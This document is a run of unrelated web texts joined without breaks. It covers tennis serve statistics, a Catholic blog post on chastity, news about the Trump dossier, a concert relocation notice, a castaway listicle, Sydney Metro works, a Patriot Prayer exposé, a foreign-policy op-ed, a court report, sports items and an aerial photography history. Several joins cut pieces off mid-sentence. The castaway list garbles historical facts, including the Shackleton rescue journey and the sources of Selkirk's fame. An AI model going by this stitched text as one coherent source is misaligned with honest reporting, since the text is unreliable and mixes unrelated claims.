Ranking Player Past 52 Weeks Career 1 Novak Djokovic 66.6% 64.8% 2 Andy Murray 61.2% 58% 3 Roger Federer 63.7% 61.9% 4 Rafael Nadal 70.6% 68.9% 5 Stan Wawrinka 56.6% 57.6% 6 Kei Nishikori 60.8% 61% 7 Dominic Thiem 61% 58.7% 8 Tomas Berdych 56.3% 57.9% 9 Milos Raonic 62.4% 62.5% 10 Richard Gasquet 62.4% 61.7% Average 62.1% 61.8%
Making five out of 10 seems to be clearly not enough.
Making six out of 10 is much closer to the ideal ratio, with the elite level players just a percentage point or two above that. Making seven out of 10 typically means you are not hitting it big enough, although there will certainly be some matches where that is advantageous.
Yes, you can make too many first serves. Overall, too many first serves in the box means consistency is trumping power with the game’s most powerful shot, and the “penalty-free” benefits of the first serve are not being maximised. The metrics identify that right around six out of 10 is where professional players like to be to in order to win the most matches possible.My butt hurt. I was sitting on the most uncomfortable bleacher that bleachers have to offer, listening to a guy I didn’t know talk to 1,200 high schoolers about…sex. For a nerdy high school sophomore, this was adolescent awkward at its best. The presenter spoke all about dating, marriage, “true love”, etc. which I tended to tune out at 2:00pm on a Tuesday afternoon. Of all the seemingly annoying explanations, one point did strike a chord with me – “my future spouse”.
I had never thought about my future spouse. That afternoon I began thinking, “What will she look like? How will I meet her? What will make her laugh? What will I like about her?” These were all strange thoughts for me at that moment in time. The presenter continued, telling us all that our future spouses were worth praying, waiting, searching, and sacrificing for. As a 16 year old who could care less what this guy had to say, that random Tuesday, I agreed.
Abstract Ideas
You may have heard the “future spouse” idea before, or maybe this is your first time hearing this. Regardless, it’s a good thing to think about. Saying “yes” to your future spouse now can make it easier to say “no” to temptations, trials, and tribulations as they arise. The concept, however, tends be fairly abstract. Just think for a moment…out there, somewhere, somehow, someway I am going to marry a specific someone that will bring me joy and happiness here and will ultimately guide me to heaven.
It’s worth it
A little over a month ago I asked this “future spouse” that I abstractly thought about my sophomore year of high school to marry me (woah). She actually said “yes” (double woah). All of the prayers, sacrifices, searching, and waiting that I committed to since that Tuesday in high school has become one of best decisions of my life. Especially now that this flesh and blood, holy knockout of a woman named Emily literally IS my future wife.
Maybe this is too simple, or too obvious, but I can at least write from my recent experience and say that my future wife was, and continues to be worth saying “yes” to. Saying “yes” to her 12 years ago has made saying “yes” to her now an incredible reality. For those of you on or even considering the lifelong journey of chastity; the blood, sweat, and tears are worth it, and I believe they will continue to be worth it for the rest of my life. Love is worth choosing in the great fights of our lives. It’s the fight that makes it great. It’s the fight that makes it heroic. Ladies and gents, be in it for the long haul. Your spouse is worth this fight, and this fight will transform your life.
Sincerely,
Emily’s Future Husband (Pete Burds)
______________________________
Ever since his re-version to Catholicism through a high school youth ministry program, Pete has used his five loaves & two fish for the sake of building the Kingdom. Through storytelling, retreats, and writing he has proclaimed Christ’s freedom to thousands. He’s the Campus Minister at Saint Thomas More High School in Milwaukee and the Director of Evangelization for Arise Missions (arisemissions.org). Pete is a wanna-be philosopher, has a mild obsession with the band Switchfoot, and because of Christ, finds himself living a life greater than his dreams.UK bookmaker Ladbrokes has slashed the odds of a Donald Trump impeachment to just around even money, or a 50-50 proposition. The British bookie changed the odds in the wake of a firestorm following publication of a dossier, controversially presented by Buzzfeed on Wednesday, which claims Putin’s Russia had been “cultivating, supporting and assisting Trump for at least five years.”
The dossier, reportedly compiled by a former MI6 officer who was named on Tuesday as one Christopher Steele, also claims Russia has compromising sexual material, or “kompromat” on Trump. This was allegedly obtained from surveillance of Trump’s hotel room during his visit to Moscow for the 2013 Miss Universe pageant, with claims that it has been used to blackmail him by the Russian government.
Buzzfeed called the document “unverified and possibly unverifiable,” making it not really news so much as rumor and speculation.
“Fake News”
Trump’s Ladbrokes’ odds of serving out his four-year term had improved slightly by the end of the day on Wednesday, after he categorically dismissed the allegations as “fake news.” But those odds only shifted slightly, from even to 11-10.
“It’s phoney stuff. It didn’t happen,” said Trump in his first post-election press conference on Wednesday. “I’m extremely careful. I’m surrounded by bodyguards. In those rooms, you have cameras in the strangest places. You can’t see them and you won’t know,” the president-elect added, alluding to the unlikely possibility that he would ever be that stupid.
Angry Denials
The dossier claims that Trump’s lawyer, Michael Cohen, was the point man between Trump and the Russian government, citing a trip Cohen allegedly took to Prague to meet with Russian officials. Cohen appeared on CNN and Fox News Wednesday, however, saying his passport proved the trip had never occurred. He also said he was at a baseball game with his son at the time he was alleged to have been in Prague, a city he claims to have never set foot in at any time.
According to The Guardian, Steele, alarmed at what he had uncovered, passed his information on to the FBI and the British secret services. After hearing nothing back and fearing a cover up, he eventually sent a copy to David Corn, the Washington editor of Mother Jones, a decidedly non-Trump friendly news site with heavily progressive leanings. Corn reported the existence of the allegations in October.
It’s believed the dossier has been doing the rounds in newsrooms and on Capitol Hill ever since, until Buzzfeed took the decision to publish it in full yesterday.Due to problems with park administration, the upcoming Umphrey’s McGee and Lettuce concerts at The Fort, on April 10-11, have been relocated from Fort Clinch State Park to Saint Augustine Amphitheatre in Saint Augustine, Florida. The band will honor all tickets purchased, and will even be giving out event posters to attendees as a way to make up for the inconvenience. They will also be offering full refunds to anyone who no longer wishes to attend.
The following message was delivered by UM management to best explain the situation:
It is with great regret that we deliver the news that our upcoming concert at Fort Clinch State Park has been cancelled by the park administration. The production and logistics plans put in place were deemed potentially detrimental to the historic landmark by Fort Clinch and city officials. The overall safety of the fans, band and crew members, and the Fort itself were all factors considered when making this difficult decision.
That said, we are excited to announce that we have secured an alternate location to deliver you a new, unique music-filled weekend as promised. The Fort lineup will move locations to the Saint Augustine Amphitheatre in Saint Augustine, Florida, on Friday April 10th and Saturday April 11th as originally planned. Each night will feature an extended Lettuce set followed by two sets of Umphrey’s McGee. While a derivation from our original plan, the beautiful location is nestled amongst the natural trails of Anastasia State Park in the historic beachside town of Saint Augustine. The amphitheater parking lots will open at 3:00 pm on Friday and 2:00 pm on Saturday (tailgating encouraged), and will feature pre-show live music, local food trucks, and an overall festive vibe.
Tickets purchased for The Fort will be honored at the new location and will now include an event poster from master illustrator David Welker (Phish, The Black Keys, Widespread Panic) as well as audio downloads for both Umphrey’s shows and Lettuce sets.
umVIP packages will also be transferable to the new event. umVIP purchasers can expect all the same amenities including a private VIP viewing deck with private bar, bathrooms, pre-show food, live video concert feed, and more.
As planned, we will be able to accommodate all current campers in a primitive camping area adjacent to the venue. No new camping will be available. Additionally, we are finding a new home for both late night performances (Omega Moos on 4/11, and the band formerly known as the Fort Clinch All-Stars on 4/12) but both will proceed as planned.
For those not interested in this new adventure, full refunds for both general admission and umVIP will be available beginning Thursday, April 2nd. Details will be emailed to purchasers directly.
This change of location does allow us to offer more music than previously scheduled, with entertainment on a second stage in the parking lot, and more music from both Lettuce and Umphrey’s McGee. The new venue will also allow for added capacity so we are pleased to offer additional tickets for the weekend. Tickets will go on sale on Monday at 12:00 pm ET. Single day tickets will be $49.50, two-day tickets $99.00. New ticket purchases will not include the show poster and downloads we’re offering to Fort ticket holders.
Umphrey’s McGee prides itself on pushing the envelope and creating new and exciting events to share with our fans. We hope everyone understands we did everything we possibly could to see this through fruition and are truly sorry for any hassles caused by this change of plans. We hope you will join us in Saint Augustine at this remarkable venue as we take some Florida lemons and make lemonade.
Watch this video to get a feel for our new home come April 10th and 11th and check back soon for additional details and updates.
Umphrey’s McGee
Saint Augustine Amphitheatre
1350 A1A S
Saint Augustine, Florida
Friday April 10th
Parking lots open 3:00 pm
Doors 5:00 pm
Music 5:45 pm
Saturday April 11th
Parking lots open 2:00 pm
Doors 3:30 pm
Music 4:30 pm
Email fans@umphreys.com with any questions.
[via Umphreys.com]The Real Castaways: True Stories Of Being Stranded On A Deserted Island
Could a boat license have helped these people?
To many of us city dwellers, the idea of fending for ourselves sans Google, cell phones and hot water is hardly even fathomable. The need to stretch our imaginations and physique to learn how to tie knots, make rope, start fires with two sticks or fend off bears is almost unimaginable. Most of us would probably be found blowing our nose with poison ivy while devouring the deadliest of mushrooms if we were ever trapped in an unknown environment.
Which is why stories of real life castaways never cease to amaze us. These are just some of the many incredible stories of survival and people who defeated all odds, overcame the deadliest obstacles, alone stranded on an uninhabited land.
Alexander Selkirk
Survived: 4 years and 4 months
Robinson Crusoe
The story of Alexander Selkirk, the Scottish sailor who spent four years as a castaway, was the inspiration behind Daniel Defoe's novel Robinson Crusoe as well as Gulliver's Travels. Selkirk was a sailor serving under Captain Thomas Stradling. In mid-expedition the captain made a stop for more supplies. Selkirk voiced his concern about the security of the ship with the extra weight carried on it. He tried and failed to rally others not to continue on. Stradling then decided to leave Selkirk alone on the island of Juan Fernández.
Selkirk turned out to be quite a skillful survivor. He lived in huts made of pimento trees.
At first he remained where he felt safer along the shoreline. While waiting for someone to come to his rescue, the desperate castaway survived on oysters, shellfish and anything he could catch. That is until hungry sea lions wanted their territory back for mating season. This drove him deeper into the unbeknownst depths of the island. There, Selkirk was lucky enough to come across feral goats which provided him milk, meat and clothing as well as feral cats that protected him against the ravenous rats that attacked him at nighttime.
On February 1, 1709, four years and four months later, he was finally rescued by a privateering ship. His story became a sensation and Selkirk continued his life as a sailor, ending his career serving as lieutenant aboard the Royal ship Weymouth.
Douglas Robertson & Family
Survived: 38 Days
The Robertson's
Accompanied by his wife, daughter, son, and twin sons, Douglas Robertson was an experienced sailor from Scotland who purchased Lucette, the family boat with the family's life's savings. While sailing to the Galapagos Islands from Panama their boat was sunk by a pod of killer whales.
Already being a close knit group, the family demonstrated remarkable survival skills and were able to survive 38 days on their small dinghy. They collected rain droplets for drinking water, caught turtles and flying fish for food and sailed their way towards Central America to be rescued. By their 38th day, they were sighted by a Japanese fishing trawler heading towards the Panama Canal. Robertson had documented their adventure which inspired his book Survive the Savage Sea.
Gerald Kingsland & Lucy Irvine
Survived: 1 year
In 1980 British writer/adventurer Gerald Kingsland put an ad in Time Out Magazine seeking a female companion who would want to share her life with him on a deserted island. A young 24 year old Lucy Irvine accompanied him and the two set out to Tuin Island in the Torres Strait between Australia and Papua New Guinea. From 1982-1983, they lived as self-imposed castaways on the uninhabited island. However water supply was scarce and if it hadn't been for Badu Islanders coming to their rescue, the couple would have perished there. Upon their return to civilization, Kingsland and Irvine wrote separate accounts of their adventure. Irvine published Castaway in 1983 (the story which inspired the Robert Zemicks blockbuster hit film). Kingsland's book The Islander was published in 1984. Lucy Irvine
Tom Neale
Survived: 16 years
Tom Neale depicted in the book An Island to Oneself
Author of the popular autobiography An Island to Oneself, Tom Francis Neale was a New Zealander who spent 16 years of his life (in three sessions) living alone on Suwarrow island in the Cook Islands.
His first time around, Neale caught a ride with a ship passing close to Suwarrow. They dropped him off with two cats, water tanks, a hut and some books. There he found remnants of what coast watchers had left behind during the Second World War: a damaged boat, wild pigs and chickens. Because the pigs were destroying all the vegetation, he hunted them over the course of several months. During his time there he planted a garden, domesticated the chickens, and repaired the boat.
After a serious back injury in 1954, which paralyzed him for 4 days, he was lucky enough to be discovered by a couple on a yacht who nursed him back to health. They promised they would send a ship out for him and two weeks later the Cook Islands government arrived to take him back to Rarotonga.
Neale waited for his back to heal in order to return to his island. Though he married and had two children, in the spring of 1960 he returned to the island with enough provisions to last him three and a half years. Then in January 1964 he left the island voluntarily as pearl divers now began invading the area.
Neale returned to the atoll in June 1967 and stayed there until 1977. That year, another yacht found him ill. He was diagnosed with stomach cancer taken to Rarotonga where he died eight months later.
Ernest Shackleton & Crew
Survived: 105 days
Shackleton's ship Endurance
The famous explorer Ernest Shackleton and his crew of 28 men left England aboard the ship Endurance (pictured above) on August 8, 1914 to fulfill his dream of crossing the South Polar continent from sea to sea.
During the expedition the ship got trapped in ice. Shackleton and his men found themselves marooned in the Antarctic for five months. They lived on top of floating ice, fed on seals and kept warm by playing hockey and dog-sled racing. In April 1916, Shackleton and 5 of his men set off in three small lifeboats they had recovered, to find help on Elephant Island. The six men spent 16 days crossing 1,300 km of ocean. The six men landed on an uninhabited part of the island so their last hope was to cross 26 miles of treacherous mountains and glaciers until they finally reached a whaling station where they found help.
Shackleton returned to rescue the men on Elephant Island and amazingly, apart from some missing toes from frostbites, not one member of the 28-man crew was lost.
Juana Maria
Survived: 18 years
San Nicolas Island
The story which inspired Scott O'Dell's book Island of the Blue Dolphin was that of the last surviving member of the Nicoleño tribe, Juana Maria, better known as the Lone Woman of San Nicolas Island. After Russian otter killers invaded the island and massacred most of her people in 1835, missionaries heard about the news and decided to sponsor a rescue operation. All remaining members of the tribe were gathered and shipped to San Pedro Bay to live at the San Gabriel Mission. All except Juana Maria.
In 1853, 18 years later, a sea otter hunter named George Nidever found her living in a hut made of whale bones surviving on seal blubber she left out to dry. She was taken to the Santa Barbara Mission and reportedly, was fascinated by everything surrounding her, the European people, the clothing, the food, the horses. Nidever brought her home to live with him and his wife however it wasn't long before these new living conditions took their toll on the longtime castaway.
Just seven weeks after arriving on the mainland, she contracted dysentery (an inflammatory disorder of the intestine) and died. The Lone Woman was baptized with the Christian name Juana Maria (her native name is unknown).
Ada Blackjack
Survived: 2 Years
Ada Blackjack was an Inuit woman who lived as a castaway on an uninhabited island in Northern Siberia for two years. Ada had taken a job as a cook and seamstress to save money for her only son Bennett who had chronic tuberculosis. She joined a team of explorers who were attempting to claim Wrangel Island for Canada. The team left on September 16, 1921 but turned out to be inadequately prepared for the future that awaited them. They ate their way through much of the rations, and did not hunt and store enough food to last them very long. Three of the men attempted to cross the frozen sea to seek out help and more food to eat, leaving behind Ada and the scurvy-inflicted Lorne Knight. As expected, the men never returned and Ada cared for both her and a rather ungrateful Knight right up until his death in April 1923. Ada became a very resourceful survivor learning how to set up traps to capture small wild animals such as Arctic foxes, and also became quite the skilled-gunwoman managing to kill birds, seals and even fending off polar bears. Ada Blackjack
On 19 August 1923 she was rescued by a man hired by the former head of the expedition who had left her and Knight there, Vilhjalmur Stefansson. Ada used the money she saved to take her small son Bennett to Seattle to cure his tuberculosis and had another son Billy. Eventually, Ada returned to the Arctic where she lived until the age of 85.
To read more about this amazing story read here
Again, these are only some of many incredible castaway survival stories. Please share some your survival stories with us in the comment section below.
Related ArticlesA joint venture partnership between John Holland and Laing O’Rourke has been awarded a contract for upgrade works on Sydney Metro's Sydenham Station.
The partnership will be responsible for delivering the station for Sydney Metro -- a $240 million which will allow Sydenham Station to be able to operate as part of the new Metro, including signalling works, utility relocations and train control systems installation.
“The Sydenham upgrade project will help support economic and social development in Sydney, and improve the ease with which people move around in their day-to-day lives," John Holland chief executive officer Joe Barr said.
"We have already been chosen to work with the Government on the new harbour rail crossing for Sydney Metro City & Southwest.
“More than 100 people will be employed on the project, creating jobs and opportunities on the southern fringe of Sydney’s CBD," he said.
Laing O’Rourke Australia Hub Managing Director Cathal O’Rourke said the company is currently engaged on a number of projects across the Sydney Trains network, all of which are delivering an improved experience for commuters.
“This city-shaping project is a critical part of the transformation of the overall Sydney Metro project, and the key meeting point of the new Sydney Metro and existing Sydney Trains networks.”
Work is scheduled to begin at Sydenham in 2018.
The end result of the station is expected to include:
New pedestrian plazas on Burrows Road and Railway Parade
Platforms 1 and 2 converted to Sydney Metro standards including platform screen doors and new canopies
A new aerial concourse over the existing platforms with lifts and stairs to each platform
New station buildings at the new Railway Parade concourse
A new services and equipment building, located within the rail corridor, north-east of the new concourse on Railway Parade
Fully accessible bus stops on Railway Parade and Burrows Avenue
New pedestrian crossings on Georges Street, Burrows Avenue and Railway and Lower Railway Parades
New signage and wayfinding
New taxi and kiss-and-ride bays on Burrows Avenue
Bike parking on Railway Parade and Burrows Avenue
New crossover facilities for metro trains, north and south of the station.
Customers at Sydenham Station will have a new air-conditioned metro train every four minutes in the peak. Sydenham Station is currently serviced by eight trains an hour in the morning peak.
The station will be fully upgraded with lifts and level access between the platforms and trains Sydenham Station platforms 1 and 2 will be upgraded to Sydney Metro standards, including the installation of platform screen doors.
Existing platforms 3, 4, 5 and 6 will continue to be used by trains operating on the Sydney Trains network.Tom Gilovich is an expert in social psychology. His research focuses on how people evaluate information in their everyday and professional lives, and how they use that information to draw conclusions, form beliefs, and embark on courses of action. He is the Irene Blecker Rosenfeld Chair of Psychology at Cornell University and an ideas42 affiliate. He holds a B.A. from the University of California, Santa Barbara and a Ph.D. from Stanford University.
Summaries of Recent Research Findings in Behavioral Science
One-Shot Illusory Correlations and Stereotype Formation (2007)
Context:
We often perceive illusory correlations based on weak and limited evidence.
Insight:
People often mistakenly believe that seeing a single instance of an unusual behavior by a member of an uncommon group means that that behavior is typical of most members
Implication:
It is important to consider this tendency to make incorrect generalizations when trying to understand or draw conclusions about populations with which one may not often interact.
Peering into the Bias Blind Spot: People’s Assessments of Bias in Themselves and Others (2005)
Context:
We are less likely to detect bias in ourselves than in others.
Insight:
We sometimes think we are guilty of bias in the abstract, but rarely think so in any specific instances. Additionally, we often believe that our own insights on an issue are derived from truths, while differing views of others are based on sources of bias.
Implication:
Realizing that we are often susceptible to biases and that the biases of others result from natural psychological processes rather than malicious strategies to gain advantage may help increase understanding and defuse conflict.
What current policy question could be informed by your study of decision-making?
Any policy debate could be enhanced if all of us decided to see the world in shades of gray rather than in black and white. To realize how endemic our biases really are, we need to understand that we see the world through a small peephole, that we are vulnerable to framing. We are, for example, only able to keep seven, plus or minus two, things in our mind at once. We fall prey to many biases and limitations to our thinking that we don’t realize, and therefore we need to be more humble about what we know and open to the evidence that may conflict with our deeply held beliefs.I just wanted to thank you for putting these together for everyone. I know many here would not have had the chance to see them otherwise.
I always have to laugh a little when I think about humanity. We seem so weak, so...disadvantaged compared to the finely tuned killing machines displayed here. Then, it dawned on me. Regardless of how smart, or stupid people view each other as a species, one truth remains constant. Humans made it to the top because our brain makes up for our lack of physical strength. That same brain that brought us here so quickly could, in my humble opinion, also remove us from this most coveted spot on the food chain.
Maybe that's part of its brilliance, its design.
Maybe we are about to hit the cut-off point.“I’m going to tear you to pieces or I’m going to fucking barbecue you and eat you alive.”
That’s the message Tusitala “Tiny” Toese barked at Luke Mahler during a Facebook livestream on Oct. 10. Toese is sidekick to Joey Gibson, founder of the right-wing protest group Patriot Prayer.
Mahler had been ranting to his Facebook friends that Gibson was refusing to pay former PP supporter and co-founder of the American Freedom Motorcycle Association John Beavers money he owed him from May.
Toese joined the stream to defend Gibson, adding, “I’m going to laugh when I beat your ass at the next rally. Anybody that’s watching that wants to come against Joey, well guess what? I’m gonna be up front. You’re gonna have to go through me to get to him.”
Mahler has a long history of dramatic virtual fall-outs with PP members. Toese said all the online badgering from Mahler is “breaking my head.”
The simple online squabble that prompted Mahler’s video rages on.
Beavers says Gibson owes him $450 for a plane ticket and taxi service for a trip to New York in May. Gibson says he never gave Beavers permission to buy him a ticket, and will therefore not pay him back. Beavers posted screenshots of text messages from Gibson where he admits owing the money. Gibson says Beavers steals from people. Beavers mentions small claims court.
The comments range between “stop airing your dirty laundry online” and “pay Beavers back if you’re a man of your word.”
How have the right-wing celebrities that dominated regional and national news coverage all summer been reduced to petty online arguments?
Over the last two months, more former Patriot Prayer supporters have come forward to denounce Gibson. Disgruntled Patriots describe him getting drunk and becoming aggressive. Some say Gibson’s motivational speeches have misled supporters and put them in danger.
The complaints add to an already disorganized picture.
Portland State Vanguard has been following PP’s saga since April, and a bewildering storyline has taken place.
From the far corners of Reddit and secret Facebook groups, neo-Nazis and white supremacists emerged to join Gibson in the media spotlight at a rally on June 4. Under public derision, Gibson eventually denounced his controversial followers in an interview on June 30, but those with alt-right connections and a hunger for conspiracy theories, like Kyle “Based Stickman” Chapman and Allen Puckett, remained at Gibson’s side. Ever-intensifying brawls dominated media coverage.
High-profile allies then told Vanguard in August they felt Gibson was a weak leader. In San Francisco and Berkeley, Calif. on Aug. 26–27, Gibson cancelled events last-minute. Then he took a beating in Berkeley from anti-fascist protesters and emerged victoriously, claiming baiting antifa was his goal all along.
Now Gibson seems to be back to square one.
Motivational YouTube videos, like those he produced before the summer, have come back online. His rallies have dwindled in size. Gibson’s two Facebook feeds are filled with PP merchandise for sale.
As protest energy has died down since the summer, whatever slim media coverage Gibson has received in Portland has not been complimentary.
At Gibson’s most recent Portland rally, a professed supporter of Jeremy Christian and convicted felon brought an illegal firearm onto federal property. At the rally before that, a PP supporter seemingly accelerated his truck toward counter-protesters in the street in Vancouver, Wash.
Meanwhile, white supremacist rallies continue to form across the country, and some attendees, like those in Charlottesville, Va. and Gainesville, Fla. come with the intent to kill.
“The ‘white nationalists’ are in charge now and the Pandora’s Box [Gibson has] opened locally will leave him by the roadside,” said white supremacist expert and former PSU professor Randall Blazak in an email. “He’s their unwitting pawn.”
Gibson the pawn plays others
Patriots haven’t just been mad at Gibson because he owes Beavers money. Gibson’s core group began to split apart in New York this spring.
During a spirited evening after an anti-Sharia law protest on May 25, 2017 in New York City, Gibson, Beavers, Toese, PP supporter Tyler Smith, and AFMA member Justin Harrington joined a loud party hosted by local Proud Boys at The Upstairs Pub, an unassuming bar above a Manhattan deli.
Gibson got very drunk. Harrington said Gibson repeatedly head-butted himself and Beavers in the back |
emonic China. The nations of Southeast Asia do business with China but look to the United States for strategic support against their giant neighbor.
For decades, U.S. strategy toward China has had two complementary elements. The first was to bring China into the "family of nations" through engagement. The second was to make sure China did not become too dominant, through balancing. The Clinton administration pushed for China's accession to the World Trade Organization and normalized trade but also strengthened the U.S. military alliance with Japan. The Bush administration fostered close economic ties and improved strategic cooperation with China. But the United States also forged a strategic partnership with India and enhanced its relations with Japan, Singapore and Vietnam. The strategy has been to give China a greater stake in peace, while maintaining a balance of power in the region favorable to democratic allies and American interests.
"Strategic reassurance" seems to chart a different course. Senior officials liken the policy to the British accommodation of a rising United States at the end of the 19th century, which entailed ceding the Western Hemisphere to American hegemony. Lingering behind this concept is an assumption of America's inevitable decline.
Yet nothing would do more to hasten decline than to follow this path. The British accommodation of America's rise was based on close ideological kinship. British leaders recognized the United States as a strategic ally in a dangerous world -- as proved true throughout the 20th century. No serious person would imagine a similar grand alliance and "special relationship" between an autocratic China and a democratic United States. For the Chinese -- true realists -- the competition with the United States in East Asia is very much a zero-sum game.
For that reason, "strategic reassurance" is likely to fail. The Obama administration cannot back out of the region any time soon; Obama's trip this week, in fact, seems designed to demonstrate American staying power. Nor is China likely to end or slow its efforts to militarily and economically dominate the region. So it will quickly become obvious that no one on either side feels reassured.
Unfortunately, the only result will be to make American allies nervous. For an administration that has announced "we are back" after years of alleged Bush administration neglect in Asia, this is not an auspicious beginning.
Robert Kagan, a monthly columnist for The Post, is a senior associate at the Carnegie Endowment for International Peace. Dan Blumenthal is a resident fellow in Asian studies at the American Enterprise Institute.A Hilo man who tried to rape a woman in the bathroom of a Japan Airlines flight is not guilty by reason of insanity, a judge ruled at a brief trial Wednesday.
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A Hilo man who tried to rape a woman in the bathroom of a Japan Airlines flight is not guilty by reason of insanity, a judge ruled at a brief trial Wednesday.
The FBI said Michael Tanouye forced his way into the airplane bathroom and attempted to sexually assault a female passenger on Oct. 11, 2014. He also injured another passenger who, along with flight attendants and other passengers, went to help the woman.
While struggling with Tanouye the woman was able to push the bathroom’s emergency button. The woman’s mother, the flight attendants and other passengers tried to open the lavatory door but were unable because Tanouye was blocking the door, a court affidavit said. They had to open the door by removing screws from its hinges.
The plane’s captain turned the plane around and returned to Honolulu following the incident. The airplane had been less than two hours into its flight to Kansai International Airport.
Tanouye doesn’t dispute the FBI’s account of what happened aboard JAL flight 791.
His lawyer Rick Sing presented medical and psychiatric reports prepared by federal prison staff that say Tanouye was suffering from a severe mental disease at the time and is therefore not legally responsible for his actions.
U.S. District Judge Derrick K. Watson found Tanouye not guilty by reason of insanity and set a hearing for April to determine whether he should remain in custody for the protection of others.
Tanouye has been in custody since his arrest.
The verdict is based on facts that Michael Tanouye’s defense attorney and a prosecutor agreed upon, including conclusions from mental health evaluations.
Not guilty by reason of insanity is “the only reasonable and sensible” verdict, the judge said.
Before the incident, Tanouye was heard shouting something incomprehensible, and his mother told a flight attendant he suffers from depression and is on medication. He stood up to walk around and appeared calm, telling flight attendants he was going to visit his grandmother. Flight attendants agreed not to serve him alcohol because he was on medication.
After the incident, Tanouye’s mother gave him a dose of his medicine and he fell asleep, the affidavit said.
The verdict is the same for a charge that Tanouye assaulted an inmate at Honolulu Federal Detention Center after the plane landed in Honolulu.
Tanouye is expected to go to a North Carolina facility for further mental health evaluations. A hearing will determine whether Tanouye is dangerous.
——-
The Associated Press contributed to this story.Akdong Musician’s Lee Chan Hyuk revealed his steadfast will to never drink, not even when his boss Yang Hyun Suk offers him a glass.
On the January 30 episode of “Please Take Care of My Refrigerator, Akdong Musician opened up their fridge for everyone to see.
When the MCs found wine in their refrigerator, Lee Soo Hyun clarified, “It’s for cooking. No one drinks in our house.”
Lee Chan Hyuk agreed, “I’ve never had a single drop of alcohol. I’m famous in YG for declining representative Yang Hyun Suk’s offer to drink. Even if he’s my boss, I will say no.”
He further emphasized, “Lee Juck told me that you can find special inspiration when you’re drunk, but I have a conviction to not write songs under the influence.”
Also find out what they said about their dating restrictions on the same episode!
Source (1)CHICAGO -- Chicago White Sox general manager Ken Williams is still feeling his son's pain.
Kyle Williams of the San Francisco 49ers muffed one punt and fumbled another in last Sunday's NFC Championship Game as the New York Giants earned a berth in the Super Bowl. His fumble in overtime set up Lawrence Tynes' winning field goal in New York's 20-17 victory.
"As a father, it was absolutely awful. Even if it weren't my kid, I'd still feel bad for what happened," Ken Williams said Friday night at the White Sox winter festival.
Kyle Williams not only stood up and answered reporters' questions about his mistakes, but was subjected to hateful, hurtful, even threatening comments via social media.
"Through it all, the young man has shown me exactly who I thought he was, which is a man of character, a strong-minded, tough son of a gun," Ken Williams said. "He's hurting right now... Believe me, I'm not happy with some of the death threats and some of the things that are unfortunately part of our culture. I wish it weren't that way, but I have first-hand knowledge of it being that way.
"He grew up in a household where he knew exactly what to expect. He stood up in front of more media than I've ever stood in front of and told them exactly what he felt, and took responsibility. How can a father be anything but proud?"
Many of Kyle Williams' teammates came to his defense and rallied around him. And Ken Williams took notice.
"They have put together something there where it's all for one and one for all," Williams said.
And he'd like the White Sox to hear about it first-hand.
Williams said 49ers coach Jim Harbaugh, the former Chicago Bears quarterback, asked to come to spring training and throw out a first pitch and hang around baseball because he loves the sport.
But Harbaugh will have one chore when he comes to Glendale, Ariz., where the White Sox hold spring training.
"He has no idea, but he's going to stand up in front of the White Sox and talk about team leadership and togetherness," Williams said. "We need to tap into that a little bit."Last night, at 6 PM, the District's Department of General Services held a public Disposition Meeting about the fate of the Reeves Center at the Reeves Center. The intent of the meeting was to hear the voices of the community in the U Street Corridor as to what they want from any new development on that site. Their voices matter because the Reeves Center is the key piece in the land swap that is supposed to happen between Akridge and the District in order to get D.C. United most of the land for the stadium deal.
One of the primary desires voiced during that meeting was for more "daytime traffic," which means office space rather than residential development. Another desire shared by citizens and several council members alike is that the U Street Farmer's Market and the D.C. LGBT Community Center be able to stay on that property. The presentation given by the Department of General Services also included a rough timeline for disposition of the Reeves Center, which includes the finalization of the land swap sometime in "early to mid 2014."
All of this also comes on the heels of news from Pablo Maurer that the stadium proposal will be delivered the the D.C. Council before Christmas; obviously, it will not be evaluated, debated, or voted upon until January at the earliest, but after a few missed deadlines it is good to see progress moving forward. In the piece, Council members Jim Graham and Jack Evans are generally supportive of the deal, but have reservations especially about the way that the Mayor is handling in the deal. Vincent Gray also confirmed today that he expects to submit the stadium deal plan to the Council by the end of the week.Taking images of the ground from the air
Air photo of a military target used to evaluate the effect of bombing.
Air photography from flight
Aerial photography (or airborne imagery) is the taking of photographs from an aircraft or other flying object.[1] Platforms for aerial photography include fixed-wing aircraft, helicopters, unmanned aerial vehicles (UAVs or "drones"), balloons, blimps and dirigibles, rockets, pigeons, kites, parachutes, stand-alone telescoping and vehicle-mounted poles. Mounted cameras may be triggered remotely or automatically; hand-held photographs may be taken by a photographer.
Aerial photography should not be confused with air-to-air photography, where one or more aircraft are used as chase planes that "chase" and photograph other aircraft in flight.
History [ edit ]
Early history [ edit ]
Le Boulevard, May 25, 1862. Honoré Daumier, "Nadar élevant la Photographie à la hauteur de l'Art" (Nadar elevating Photography to Art), published in, May 25, 1862.
Aerial photography was first practiced by the French photographer and balloonist Gaspard-Félix Tournachon, known as "Nadar", in 1858 over Paris, France.[2] However, the photographs he produced no longer exist and therefore the earliest surviving aerial photograph is titled 'Boston, as the Eagle and the Wild Goose See It.' Taken by James Wallace Black and Samuel Archer King on October 13, 1860, it depicts Boston from a height of 630m.[3][4]
Kite aerial photography was pioneered by British meteorologist E.D. Archibald in 1882. He used an explosive charge on a timer to take photographs from the air.[5] Frenchman Arthur Batut began using kites for photography in 1888, and wrote a book on his methods in 1890.[6][7] Samuel Franklin Cody developed his advanced 'Man-lifter War Kite' and succeeded in interesting the British War Office with its capabilities.
The first use of a motion picture camera mounted to a heavier-than-air aircraft took place on April 24, 1909, over Rome in the 3:28 silent film short, Wilbur Wright und seine Flugmaschine.
World War I [ edit ]
The use of aerial photography rapidly matured during the war, as reconnaissance aircraft were equipped with cameras to record enemy movements and defences. At the start of the conflict, the usefulness of aerial photography was not fully appreciated, with reconnaissance being accomplished with map sketching from the air.
Germany adopted the first aerial camera, a Görz, in 1913. The French began the war with several squadrons of Blériot observation aircraft equipped with cameras for reconnaissance. The French Army developed procedures for getting prints into the hands of field commanders in record time.
Frederick Charles Victor Laws started aerial photography experiments in 1912 with No.1 Squadron of the Royal Flying Corps (later No. 1 Squadron RAF), taking photographs from the British dirigible Beta. He discovered that vertical photos taken with 60% overlap could be used to create a stereoscopic effect when viewed in a stereoscope, thus creating a perception of depth that could aid in cartography and in intelligence derived from aerial images. The Royal Flying Corps recon pilots began to use cameras for recording their observations in 1914 and by the Battle of Neuve Chapelle in 1915, the entire system of German trenches was being photographed.[8] In 1916 the Austro-Hungarian Monarchy made vertical camera axis aerial photos above Italy for map-making.
